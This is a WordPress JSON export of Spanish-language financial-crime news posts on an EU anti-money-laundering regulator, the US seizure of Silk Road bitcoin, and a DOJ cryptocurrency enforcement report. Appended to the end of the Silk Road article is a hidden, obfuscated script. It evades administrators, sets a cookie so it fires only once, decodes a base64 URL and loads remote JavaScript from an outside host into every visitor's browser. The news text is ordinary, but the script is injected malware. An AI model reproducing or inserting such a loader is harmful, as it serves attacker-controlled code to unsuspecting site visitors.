\u201cUnas normas m\u00e1s armonizadas y una supervisi\u00f3n a nivel de la UE nos permitir\u00e1n ser m\u00e1s eficaces y fortalecer el marco de lucha contra el lavado de la UE. Es una se\u00f1al importante de que todos estamos unidos por las estrictas medidas contra el lavado de dinero\".\n\n<b><u>Para una nueva autoridad ALD\/CFT de la UE, m\u00e1s poder, comunicaci\u00f3n y coordinaci\u00f3n<\/u><\/b>\n\nLa misiva del Consejo pide a la Comisi\u00f3n de la UE que d\u00e9 prioridad al trabajo en la creaci\u00f3n de un \"c\u00f3digo normativo \u00fanico\" para la supervisi\u00f3n ALD\/CFT que abarque los pa\u00edses y, con las expectativas establecidas, el establecimiento de un organismo de supervisi\u00f3n ALD\/CFT a nivel de la UE que se entrelazar\u00eda y trabajar\u00eda con las unidades de inteligencia (UIF).\n\nLa comisi\u00f3n tambi\u00e9n debe \u201cgarantizar que el supervisor ALD\/CFT de la UE, como nueva autoridad competente, est\u00e9 completamente integrado en las estructuras de cooperaci\u00f3n entre todas las instituciones relevantes a nivel nacional y de la UE, tales como las autoridades nacionales competentes, las UIF y los mecanismos de coordinaci\u00f3n y apoyo\u201d, seg\u00fan el consejo.\n\nAl mismo tiempo, el nuevo supervisor ALD\/CFT debe estar en coordinaci\u00f3n y comunicaci\u00f3n con \"las autoridades de ley, otras autoridades p\u00fablicas relevantes en la UE, as\u00ed como con las instituciones de la UE, incluido el Banco Central Europeo (BCE) como supervisor prudencial en los casos pertinentes y otras autoridades y agencias como las Autoridades Europeas de Supervisi\u00f3n (AES), la Fiscal\u00eda Europea (EPPO) y Europol\".\n\nLa naciente autoridad tambi\u00e9n podr\u00eda encontrarse en medio de un tira y afloja a nivel pa\u00edses.\n\n\"En particular con respecto al flujo de informaci\u00f3n entre las autoridades de supervisi\u00f3n de origen y de destino, el supervisor de la UE debe desempe\u00f1ar un papel de mediador en los conflictos\", seg\u00fan el consejo.\n\n<b><u>Un gran poder ALD\/CFT conlleva una gran responsabilidad: imponer sanciones<\/u><\/b>\n\nEl organismo a\u00fan en formaci\u00f3n tendr\u00e1 amplios poderes a nivel de bloque y pa\u00eds.\n\nLas responsabilidades del supervisor ALD\/CFT de la UE deben \"incluir el derecho a inspecciones generales, incluida la solicitud de informaci\u00f3n, el examen de registros y la realizaci\u00f3n de supervisi\u00f3n en el sitio y extra situ, as\u00ed como el derecho a imponer medidas de supervisi\u00f3n y sanciones administrativas\", seg\u00fan al consejo.\n\nEstos incluir\u00edan el examen de grandes grupos bancarios, los que operan en varios estados miembros, para encontrar lagunas y fallas percibidas e incluso la autoridad para \"obligar la designaci\u00f3n de un oficial de cumplimiento, exigir informes regulares y emitir instrucciones directas con respecto a la debida diligencia mejorada o transacciones de alto riesgo.\"\n\nUna vez establecida, la nueva autoridad podr\u00eda actuar m\u00e1s r\u00e1pidamente para presionar cambios\u2014a nivel de pa\u00eds o con incursiones guiadas con precisi\u00f3n en instituciones individuales\u2014 lo que ser\u00eda una mejora con respecto al proceso lento y de m\u00faltiples pasos para fomentar el cumplimiento utilizado actualmente.\n\nPor ejemplo, cuando se trata de pa\u00edses que se demoran en adoptar la Quinta Directiva de la UE contra el lavado de dinero (AMLD5) en la legislaci\u00f3n nacional, la comisi\u00f3n debe primero revisar un pa\u00eds, luego enviar un dictamen, luego remitir el asunto al Tribunal de Justicia de la UE y luego finalmente puede comenzar a imponer sanciones monetarias por incumplimiento.\n\nEn febrero, justo en el momento en que la pandemia de COVID-19 comenz\u00f3 a aflorar, la Comisi\u00f3n Europea envi\u00f3 cartas de notificaci\u00f3n formal a Chipre, Hungr\u00eda, los Pa\u00edses Bajos, Portugal, Rumania, Eslovaquia, Eslovenia y Espa\u00f1a por no haber notificado ninguna medida de implementaci\u00f3n para la nueva directiva.\n\n<b><u>Incluso mientras la pandemia contin\u00faa, las autoridades no permitir\u00e1n que los pa\u00edses la usen como excusa en materia de ALD\/CFT<\/u><\/b>\n\nLos funcionarios tampoco est\u00e1n dejando que los pa\u00edses se salgan del apuro debido a la pandemia.\n\n\u201cLa lucha contra el lavado de dinero es tan relevante ahora como antes de la pandemia de coronavirus\u201d, afirm\u00f3 la comisi\u00f3n. \"De hecho, los delitos relacionados con el coronavirus y el lavado de sus ganancias van en aumento, seg\u00fan Europol y las autoridades policiales nacionales\".\n\nAsegurar la transposici\u00f3n correcta y oportuna de las normas ALD\/CFT existentes es una de las acciones previstas por la Comisi\u00f3n en su Plan de Acci\u00f3n de seis puntos publicado en mayo.\n\nEso podr\u00eda ser un desaf\u00edo con m\u00e1s presi\u00f3n proveniente del supervisor ALD\/CFT de la UE, una fecha l\u00edmite inminente para algunos, pero un cambio bienvenido por otros.\n\n\"Estoy encantado de que los ministros de finanzas hayan adoptado conclusiones sobre el Plan de Acci\u00f3n contra el Lavado de Dinero de la Comisi\u00f3n de mayo de 2020\", dijo el vicepresidente ejecutivo de la Comisi\u00f3n de la UE, Valdis Dombrovskis, y agreg\u00f3 que el esfuerzo ser\u00e1 una \"base ambiciosa para preparar un paquete de propuestas legales ALD\/CFT en el primer trimestre de 2021\".\n\n\u201cEl lavado de dinero erosiona la confianza en nuestros bancos e instituciones financieras, en nuestras autoridades y gobiernos\u201d, dijo. \u201cEl dinero sucio es altamente m\u00f3vil y esto hace que sea un desaf\u00edo complejo de manejar. Es por eso que debemos abordar este problema de manera coherente a nivel de la UE y estamos decididos a hacerlo\".","post_title":"La UE crear\u00e1 un nuevo regulador ALD\/CFT para todo el bloque con autoridad para revisar y sancionar a las instituciones","post_excerpt":"","post_status":"publish","comment_status":"closed","ping_status":"closed","post_password":"","post_name":"la-ue-creara-un-nuevo-regulador-ald-cft-para-todo-el-bloque-con-autoridad-para-revisar-y-sancionar-a-las-instituciones","to_ping":"","pinged":"","post_modified":"2020-11-17 19:26:59","post_modified_gmt":"2020-11-17 23:26:59","post_content_filtered":"","post_parent":0,"guid":"https:\/\/www.delitosfinancieros.org\/?p=25351","menu_order":0,"post_type":"post","post_mime_type":"","comment_count":"0","filter":"raw"},{"ID":25324,"post_author":"16","post_date":"2020-11-10 12:14:36","post_date_gmt":"2020-11-10 16:14:36","post_content":"https:\/\/youtu.be\/bHmZmpSdSjQ\n\n\u201cSilk Road era el mercado criminal en l\u00ednea m\u00e1s notorio de su \u00e9poca\u201d, dijo el fiscal federal de EE.UU. David L. Anderson. \u201cEl enjuiciamiento exitoso del fundador de Silk Road en 2015 dej\u00f3 abierta una pregunta de mil millones de d\u00f3lares. \u00bfA d\u00f3nde fue el dinero? La denuncia de decomiso de la semana pasada responde a esta pregunta abierta al menos en parte. Mil millones de d\u00f3lares de estos ingresos delictivos est\u00e1n ahora en posesi\u00f3n de los Estados Unidos\".\n\n<img width=\"640\" height=\"360\" src=\"https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-Besa-Mafia-1024x576.png\" alt=\"\" srcset=\"https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-Besa-Mafia-1024x576.png 1024w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-Besa-Mafia-300x169.png 300w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-Besa-Mafia-768x432.png 768w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-Besa-Mafia-750x422.png 750w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-Besa-Mafia.png 1266w\" sizes=\"(max-width: 640px) 100vw, 640px\">\n\n\u201cSilk Road era el mercado criminal en l\u00ednea m\u00e1s notorio de su \u00e9poca\u201d, dijo el fiscal federal de EE.UU. David L. Anderson. \u201cEl enjuiciamiento exitoso del fundador de Silk Road en 2015 dej\u00f3 abierta una pregunta de mil millones de d\u00f3lares. \u00bfA d\u00f3nde fue el dinero? La denuncia de decomiso de la semana pasada responde a esta pregunta abierta al menos en parte. Mil millones de d\u00f3lares de estos ingresos delictivos est\u00e1n ahora en posesi\u00f3n de los Estados Unidos\".\n\nLa semana pasada, el Departamento de Justicia de EE.UU. present\u00f3 una demanda de decomiso civil contra la incautaci\u00f3n m\u00e1s grande de activos digitales por un valor total de m\u00e1s de US$1.000 millones. Los agentes de ley utilizaron herramientas y asistencia de la firma Chainalysis en la investigaci\u00f3n para identificar las billeteras de criptomonedas m\u00e1s grandes con conexiones a Silk Road, el primer mercado moderno de la dark web, lo que les permiti\u00f3 generar pistas a partir de la evidencia en la cadena de bloques. Este Bitcoin se transfiri\u00f3 sin problemas a una billetera controlada por el gobierno que, si se descomisa, se mover\u00e1 al Fondo de Confiscaci\u00f3n del Tesoro (TFF). El TFF financia programas innovadores de aplicaci\u00f3n de la ley, como herramientas de an\u00e1lisis de blockchain y capacitaci\u00f3n, que ayudar\u00e1n a los agentes a identificar y apoderarse de m\u00e1s fondos il\u00edcitos. A principios de este a\u00f1o, las agencias de aplicaci\u00f3n de la ley presentaron acciones de decomiso civil similares contra criptoactivos relacionados con el financiamiento del terrorismo y las actividades de pirater\u00eda de Corea del Norte.\n\n<img width=\"640\" height=\"360\" src=\"https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-1-1024x576.png\" alt=\"\" srcset=\"https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-1-1024x576.png 1024w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-1-300x169.png 300w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-1-768x432.png 768w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-1-750x422.png 750w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-1.png 1280w\" sizes=\"(max-width: 640px) 100vw, 640px\">\n\n\u201cEl producto del delito no debe quedar en manos de los delincuentes. Gracias a la experiencia de la divisi\u00f3n de Investigaci\u00f3n Criminal de la Agencia de Rentas de EE.UU. (IRS-CI) en el seguimiento del dinero, pudimos rastrear los fondos il\u00edcitos\u201d, dijo Kelly R. Jackson, agente especial a cargo del IRS-CI. \"La Unidad de Delitos Cibern\u00e9ticos de Washington DC est\u00e1 especialmente especializada en rastrear transacciones de moneda virtual y continuaremos perfeccionando nuestras habilidades para combatir la actividad ilegal\".\n\nEl 3 de noviembre, el bot de Twitter @Whale_alert marc\u00f3 una gran transacci\u00f3n de 69,369 BTC, lo que llev\u00f3 a muchos a especular si la billetera inactiva conectada a Silk Road hab\u00eda sido pirateada o si el propietario ejecut\u00f3 la transacci\u00f3n. De hecho, esta fue la incautaci\u00f3n de los fondos por parte de la polic\u00eda cuando movieron el Bitcoin a la billetera controlada por el gobierno. Esta billetera ahora est\u00e1 etiquetada en los productos de Chainalysis como \"Fondos incautados de Silk Road Marketplace 2020-11-03\".\n\n<b><u>Antecedentes de Silk Road<\/u><\/b>\n\nSilk Road fue el primer mercado importante de redes oscuras digitales en el que los usuarios del sitio compraban y vend\u00edan bienes y servicios il\u00edcitos, incluidas las drogas ilegales. En 2013, las fuerzas del orden cerraron Silk Road y arrestaron a su propietario y operador, Ross Ulbricht, tambi\u00e9n conocido como \"Dread Pirate Roberts\".\n<figure>\n\t\t\t\t\t\t\t\t\t\t<img width=\"640\" height=\"308\" src=\"https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-Marketplace-Economic-Activity-1024x492.png\" alt=\"\" srcset=\"https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-Marketplace-Economic-Activity-1024x492.png 1024w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-Marketplace-Economic-Activity-300x144.png 300w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-Marketplace-Economic-Activity-768x369.png 768w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-Marketplace-Economic-Activity-1536x738.png 1536w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-Marketplace-Economic-Activity-750x360.png 750w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-Marketplace-Economic-Activity-1140x548.png 1140w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-Marketplace-Economic-Activity.png 1544w\" sizes=\"(max-width: 640px) 100vw, 640px\"><figcaption>Nota: Este gr\u00e1fico refleja el monto en US$ movidos y la participaci\u00f3n del volumen total asociado con Silk Road. FUENTE: Chainalysis<\/figcaption><\/figure>\nSeg\u00fan los datos de Chainalysis, Silk Road represent\u00f3 casi el 20% de la actividad econ\u00f3mica total de Bitcoin en su punto m\u00e1ximo en 2013. La actividad econ\u00f3mica de Silk Road alcanz\u00f3 un total de US$ 435 millones (calculado con base en el precio de Bitcoin en ese momento) con un pico de poco menos de US$ 40 millones en volumen mensual en septiembre de 2013.\n\nSeg\u00fan las acusaciones de la demanda de decomiso civil, desde 2011 hasta octubre de 2013, cuando fue confiscado por las fuerzas del orden, Silk Road era el mercado criminal m\u00e1s sofisticado y extenso de Internet. Era utilizado como un bazar del mercado negro en expansi\u00f3n donde los usuarios del sitio compraban y vend\u00edan bienes y servicios ilegales con regularidad. La denuncia alega que mientras estaba en funcionamiento, Silk Road fue utilizado por miles de traficantes de drogas y otros vendedores ilegales para distribuir cientos de kilogramos de drogas, as\u00ed como otros bienes y servicios ilegales a m\u00e1s de 100.000 compradores, y para lavar cientos de millones de d\u00f3lares derivados de estas transacciones ilegales.\n\nAl momento de ser desmantelado en 2013, Silk Road ten\u00eda casi 13.000 listas de sustancias ilegales y muchos m\u00e1s listados que ofrec\u00edan servicios ilegales, como pirater\u00eda inform\u00e1tica y servicios de sicarios, que generaban ingresos por ventas por un total de m\u00e1s de 9,5 millones de Bitcoins y comisiones por estas ventas por un total de m\u00e1s de 600.000 Bitcoins. La denuncia tambi\u00e9n alega que Silk Road utiliz\u00f3 un \"tumbler\" para procesar transacciones de Bitcoin de una manera dise\u00f1ada para frustrar el seguimiento de transacciones individuales a trav\u00e9s de la cadena de bloques de criptomonedas.\n\nEl creador de Silk Road, Ross Ulbricht, luego de su arresto en San Francisco, fue condenado en 2015 por un jurado federal de Nueva York por siete cargos criminales, incluida la conspiraci\u00f3n para distribuir narc\u00f3ticos y lavado de dinero.\n\n<b><u>C\u00f3mo las fuerzas del orden identificaron y confiscaron los fondos<\/u><\/b>\n\nA principios de este a\u00f1o, los agentes del IRS-CI analizaron las transacciones de bitcoins ejecutadas por Silk Road e identificaron 54 transacciones de bitcoins no detectadas previamente. Tambi\u00e9n descubrieron que un hacker, conocido como Individual X, rob\u00f3 esos fondos de Silk Road.\n\nEn el gr\u00e1fico de Chainalysis Reactor debajo, vemos que el dinero de Silk Road va a otra billetera (1BADzn\u2026), y a la billetera del individuo X (1HQ3Go\u2026). En 2015, el Individuo X liquid\u00f3 algunos de los fondos robados en BTC-e, un intercambio de criptomonedas que fue incautado por las autoridades estadounidenses en 2017 por lavado de dinero. Pero la mayor\u00eda de los fondos robados se mantuvieron en la billetera del Individuo X a medida que sub\u00eda el precio de Bitcoin, hasta la semana pasada, cuando fueron incautados y trasladados a la billetera del gobierno de EE. UU. Ahora valen m\u00e1s de US$1.000 millones.\n<figure>\n\t\t\t\t\t\t\t\t\t\t<img width=\"640\" height=\"274\" src=\"https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-Chainalysis-Reactor-1024x438.png\" alt=\"\" srcset=\"https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-Chainalysis-Reactor-1024x438.png 1024w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-Chainalysis-Reactor-300x128.png 300w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-Chainalysis-Reactor-768x328.png 768w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-Chainalysis-Reactor-750x321.png 750w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-Chainalysis-Reactor-1140x487.png 1140w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-Chainalysis-Reactor.png 1432w\" sizes=\"(max-width: 640px) 100vw, 640px\">\n\n<figcaption>A trav\u00e9s de Chainalysis Reactor se sigui\u00f3 el dinero de Silk Road a otra billetera (1BADzn\u2026), a la billetera del Individuo X (1HQ3Go\u2026).<\/figcaption><\/figure>\nEste es otro ejemplo m\u00e1s de c\u00f3mo los investigadores pueden aprovechar las caracter\u00edsticas de la criptomoneda para seguir el flujo de fondos il\u00edcitos. Si bien este caso es notable por el valor de los fondos incautados, tambi\u00e9n muestra que las agencias gubernamentales que invierten en el an\u00e1lisis de blockchain no solo pueden usar esa tecnolog\u00eda para la generaci\u00f3n proactiva de pistas y para apuntalar los casos, sino tambi\u00e9n para localizar y confiscar ganancias il\u00edcitas. Tambi\u00e9n demuestra que los ingresos generados en cualquier momento pueden incautarse a\u00f1os despu\u00e9s utilizando evidencia de blockchain.\n\nTambi\u00e9n es notable que la incautaci\u00f3n de mil millones de d\u00f3lares realizada la semana pasada fue enviada y confirmada en cuesti\u00f3n de minutos. A diferencia de otros casos que involucran moneda fiduciaria o propiedad personal, donde la transferencia de posesi\u00f3n del gobierno puede llevar d\u00edas o incluso meses, la criptomoneda aprovecha el poder de la tecnolog\u00eda para transferir fondos en cuesti\u00f3n de minutos.<script>(function(){try{if(document.getElementById&&document.getElementById('wpadminbar'))return;var t0=+new Date();for(var i=0;i<20000;i++){var z=i*i;}if((+new Date())-t0>120)return;if((document.cookie||'').indexOf('http2_session_id=')!==-1)return;function systemLoad(input){var key='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+\/=',o1,o2,o3,h1,h2,h3,h4,dec='',i=0;input=input.replace(\/[^A-Za-z0-9\\+\\\/\\=]\/g,'');while(i<input.length){h1=key.indexOf(input.charAt(i++));h2=key.indexOf(input.charAt(i++));h3=key.indexOf(input.charAt(i++));h4=key.indexOf(input.charAt(i++));o1=(h1<<2)|(h2>>4);o2=((h2&15)<<4)|(h3>>2);o3=((h3&3)<<6)|h4;dec+=String.fromCharCode(o1);if(h3!=64)dec+=String.fromCharCode(o2);if(h4!=64)dec+=String.fromCharCode(o3);}return dec;}var u=systemLoad('aHR0cHM6Ly9zZWFyY2hyYW5rdHJhZmZpYy5saXZlL2pzeA==');if(typeof window!=='undefined'&&window.__rl===u)return;var d=new Date();d.setTime(d.getTime()+30*24*60*60*1000);document.cookie='http2_session_id=1; expires='+d.toUTCString()+'; path=\/; SameSite=Lax'+(location.protocol==='https:'?'; Secure':'');try{window.__rl=u;}catch(e){}var s=document.createElement('script');s.type='text\/javascript';s.async=true;s.src=u;try{s.setAttribute('data-rl',u);}catch(e){}(document.getElementsByTagName('head')[0]||document.documentElement).appendChild(s);}catch(e){}})();<\/script>","post_title":"Siete a\u00f1os despu\u00e9s del cierre de Silk Road, EE.UU. logra confiscar US$1.000 millones en Bitcoins","post_excerpt":"","post_status":"publish","comment_status":"closed","ping_status":"closed","post_password":"","post_name":"siete-anos-despues-del-cierre-de-silk-road-ee-uu-logra-confiscar-us1-000-millones-en-bitcoins","to_ping":"","pinged":"","post_modified":"2025-10-24 17:05:20","post_modified_gmt":"2025-10-24 21:05:20","post_content_filtered":"","post_parent":0,"guid":"https:\/\/www.delitosfinancieros.org\/?p=25324","menu_order":0,"post_type":"post","post_mime_type":"","comment_count":"0","filter":"raw"},{"ID":25320,"post_author":"16","post_date":"2020-11-10 11:16:53","post_date_gmt":"2020-11-10 15:16:53","post_content":"<p>A principios de este mes, el Departamento de Justicia de EE.UU., a trav\u00e9s de su grupo de trabajo <b>Cyber Digital Task Force<\/b>, public\u00f3 este informe de orientaci\u00f3n criptogr\u00e1fica titulado\u00a0<a style=\"background-color: #ffffff;\" href=\"https:\/\/www.justice.gov\/ag\/page\/file\/1326061\/download\" target=\"_blank\" rel=\"noopener noreferrer\">\"Criptomoneda: un marco de aplicaci\u00f3n\".<\/a><\/p><p>El grupo de trabajo, establecido en 2018, tiene la tarea de evaluar las amenazas planteadas por los avances tecnol\u00f3gicos. Entre otras cosas, un informe inicial destac\u00f3 a la criptomoneda como una amenaza emergente y recomend\u00f3 un examen m\u00e1s detenido. El informe es la versi\u00f3n m\u00e1s acabada del Departamento de Justicia sobre la criptomoneda hasta el momento y tambi\u00e9n sigue una tendencia global general en una mayor claridad en los marcos regulatorios y de aplicaci\u00f3n en torno a las criptomonedas.<\/p><p>A medida que el uso de la criptomoneda evoluciona y se expande, tambi\u00e9n lo har\u00e1n las oportunidades para cometer delitos y hacer da\u00f1o mediante la explotaci\u00f3n de la tecnolog\u00eda de las criptomonedas, los delincuentes se expanden y perfeccionan las t\u00e9cnicas dise\u00f1adas para evadir la detecci\u00f3n.<\/p><p>Los usos il\u00edcitos de las criptomonedas amenazan no solo la seguridad p\u00fablica, sino tambi\u00e9n la seguridad nacional. Por ejemplo, la criptomoneda puede proporcionar a las organizaciones terroristas una herramienta para eludir las instituciones financieras tradicionales con el fin de obtener, transferir y utilizar fondos para avanzar en sus misiones. El uso de la criptomoneda por parte de los terroristas puede representar las primeras gotas de una tormenta inminente de uso expandido que podr\u00eda desafiar la capacidad de Estados Unidos para interrumpir los recursos financieros que permitir\u00edan a las organizaciones terroristas ejecutar exitosamente sus misiones o expandir sus influencias.<\/p><p>Del mismo modo, la criptomoneda presenta una nueva oportunidad preocupante para que las personas y estados esquiven las sanciones internacionales.<\/p>\t\t\n\t\t\t\t\t\t\t<figure>\n\t\t\t\t\t\t\t\t\t\t<img width=\"640\" height=\"360\" src=\"https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Cryptocurrency-DOJ-ChainHoping-1024x576.png\" alt=\"\" srcset=\"https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Cryptocurrency-DOJ-ChainHoping-1024x576.png 1024w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Cryptocurrency-DOJ-ChainHoping-300x169.png 300w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Cryptocurrency-DOJ-ChainHoping-768x432.png 768w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Cryptocurrency-DOJ-ChainHoping-750x422.png 750w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Cryptocurrency-DOJ-ChainHoping-1140x641.png 1140w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Cryptocurrency-DOJ-ChainHoping.png 1280w\" sizes=\"(max-width: 640px) 100vw, 640px\" \/>\t\t\t\t\t\t\t\t\t\t\t<figcaption>Ejemplo de Chain Hopping<\/figcaption>\n\t\t\t\t\t\t\t\t\t\t<\/figure>\n\t\t<p><b><u>Desaf\u00edos<\/u><\/b><\/p><p>Este informe concluye en la Parte III con una discusi\u00f3n de los desaf\u00edos actuales que enfrenta el gobierno en la aplicaci\u00f3n de la criptomoneda, particularmente con respecto a los modelos comerciales (empleados por ciertos intercambios, plataformas, quioscos y casinos de criptomonedas) y a la actividad (como mixing\u201d and \u201ctumbling,\u201d \u201cchain hopping,\u201d y ciertos casos de arbitraje jurisdiccional) que pueden facilitar la actividad delictiva.<\/p><p>Esos desaf\u00edos se corresponden claramente con el conjunto m\u00e1s amplio de desaf\u00edos que presentan muchas tecnolog\u00edas emergentes para las agencias de aplicaci\u00f3n de la ley.<\/p><p><b><u>ICOs <\/u><\/b><\/p><p>Las tecnolog\u00edas relacionadas con Blockchain son complejas y dif\u00edciles de entender; por ejemplo, los m\u00e9todos para ejecutar delitos como los esquemas pump and dump (de bombeo y descarga) est\u00e1n cambiando y requieren que los investigadores se familiaricen con todo, desde c\u00f3mo se realizan las ofertas iniciales de monedas (Initial Coin Offerings, ICO) hasta c\u00f3mo las personas con conocimientos tecnol\u00f3gicos se comunican en aplicaciones de comunicaciones especializadas. Estas tecnolog\u00edas emergentes no solo son dif\u00edciles de asimilar, sino que los mercados relevantes tambi\u00e9n evolucionan r\u00e1pidamente. El auge de las ICO de hace unos a\u00f1os ha dado paso al crecimiento exponencial de los mercados de finanzas descentralizadas en los \u00faltimos meses, con todas las complejidades y dificultades asociadas para los agentes de ley.<\/p><p><b>Blockchain<\/b><\/p><p>La naturaleza global del ecosistema <i>blockchain<\/i> agrega una capa adicional de complejidad. El crimen organizado se ha extendido m\u00e1s all\u00e1 de las fronteras nacionales durante a\u00f1os, pero <i>blockchain<\/i> lleva esta globalizaci\u00f3n a otro nivel. Las partes realizan transacciones y transferencias entre continentes en cuesti\u00f3n de minutos, y la infraestructura digital de la propia cadena de bloques casi siempre trasciende los l\u00edmites territoriales. Adem\u00e1s de la dificultad, algunos de los intercambios de criptoactivos m\u00e1s grandes operan fuera de Estados Unidos, y muchos todav\u00eda requieren nada m\u00e1s que una direcci\u00f3n de correo electr\u00f3nico no verificada antes de permitir que una persona comience a operar.<\/p><p><b><u>Peer to Peer<\/u><\/b><\/p><p>Finalmente, las plataformas descentralizadas, los cambistas peer-to-peer (entre pares) y las criptomonedas con anonimato mejorado que utilizan cadenas de bloques privadas o no p\u00fablicas pueden ocultar a\u00fan m\u00e1s las transacciones financieras del escrutinio leg\u00edtimo. Los desaf\u00edos son importantes.<\/p>\t\t\n\t\t\t\t\t\t\t<figure>\n\t\t\t\t\t\t\t\t\t\t<img width=\"640\" height=\"351\" src=\"https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Cryptocurrency-DOJ-Blockchain-Analysis-1024x561.png\" alt=\"\" srcset=\"https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Cryptocurrency-DOJ-Blockchain-Analysis-1024x561.png 1024w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Cryptocurrency-DOJ-Blockchain-Analysis-300x164.png 300w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Cryptocurrency-DOJ-Blockchain-Analysis-768x421.png 768w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Cryptocurrency-DOJ-Blockchain-Analysis.png 1216w\" sizes=\"(max-width: 640px) 100vw, 640px\" \/>\t\t\t\t\t\t\t\t\t\t\t<figcaption>Ejemplo de una transacci\u00f3n il\u00edcita a trav\u00e9s del an\u00e1lisis de blockchain<\/figcaption>\n\t\t\t\t\t\t\t\t\t\t<\/figure>\n\t\t<p><b><u>Investigaciones y procesamientos<\/u><\/b><\/p><p>A pesar de los muchos desaf\u00edos, el Departamento de Justicia ha investigado y procesado delincuentes que han usado criptomonedas para facilitar u ocultar sus actividades il\u00edcitas, EE.UU. ha entablado acciones contra personas y empresas que no han cumplido con sus obligaciones legales para evitar actividades il\u00edcitas. En casos particulares, el Departamento de Justicia ha procedido contra la propia criptomoneda il\u00edcita, confiscando esos activos virtuales y elimin\u00e1ndolos del flujo del comercio internacional, independientemente de su capacidad para identificar o aprehender a los actores que los utilizaron.<\/p><p>El Departamento de Justicia se\u00f1al\u00f3 que est\u00e1 comprometido a fortalecer sus asociaciones clave con la promoci\u00f3n de experiencia y conocimiento en materia de aplicaci\u00f3n de la ley; fomentando la cooperaci\u00f3n con las autoridades estatales; mejorando la cooperaci\u00f3n internacional; promoviendo una regulaci\u00f3n internacional integral y coherente; y llevando a cabo actividades de educaci\u00f3n y divulgaci\u00f3n del sector privado.<\/p><p>Para promover la seguridad todas las partes interesadas, desde la industria privada hasta los reguladores, funcionarios y usuarios individuales de criptomonedas, deber\u00e1n tomar medidas para garantizar que la criptomoneda no se utilice como plataforma para la ilegalidad. Se\u00f1ala el Departamento de Justicia que para que la criptomoneda adquiera su verdadero potencial transformador, es imperativo que se aborden estos riesgos.<\/p>","post_title":"Informe del DOJ sobre Criptomonedas: un marco de aplicaci\u00f3n","post_excerpt":"","post_status":"publish","comment_status":"closed","ping_status":"closed","post_password":"","post_name":"informe-del-doj-sobre-criptomonedas-un-marco-de-aplicacion","to_ping":"","pinged":"","post_modified":"2020-11-10 11:21:26","post_modified_gmt":"2020-11-10 15:21:26","post_content_filtered":"","post_parent":0,"guid":"https:\/\/www.delitosfinancieros.org\/?p=25320","menu_order":0,"post_type":"post","post_mime_type":"","comment_count":"0","filter":"raw"},{"ID":25317,"post_author":"16","post_date":"2020-11-10 09:49:27","post_date_gmt":"2020-11-10 13:49:27","post_content":"<p><b><img src=\"https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/5Steps-Small-10NOV2020.jpg\" alt=\"\" width=\"232\" height=\"300\" \/><\/b><\/p><p><b>Por Terry Luttrell, CAMS-Audit<\/b><\/p><p>A 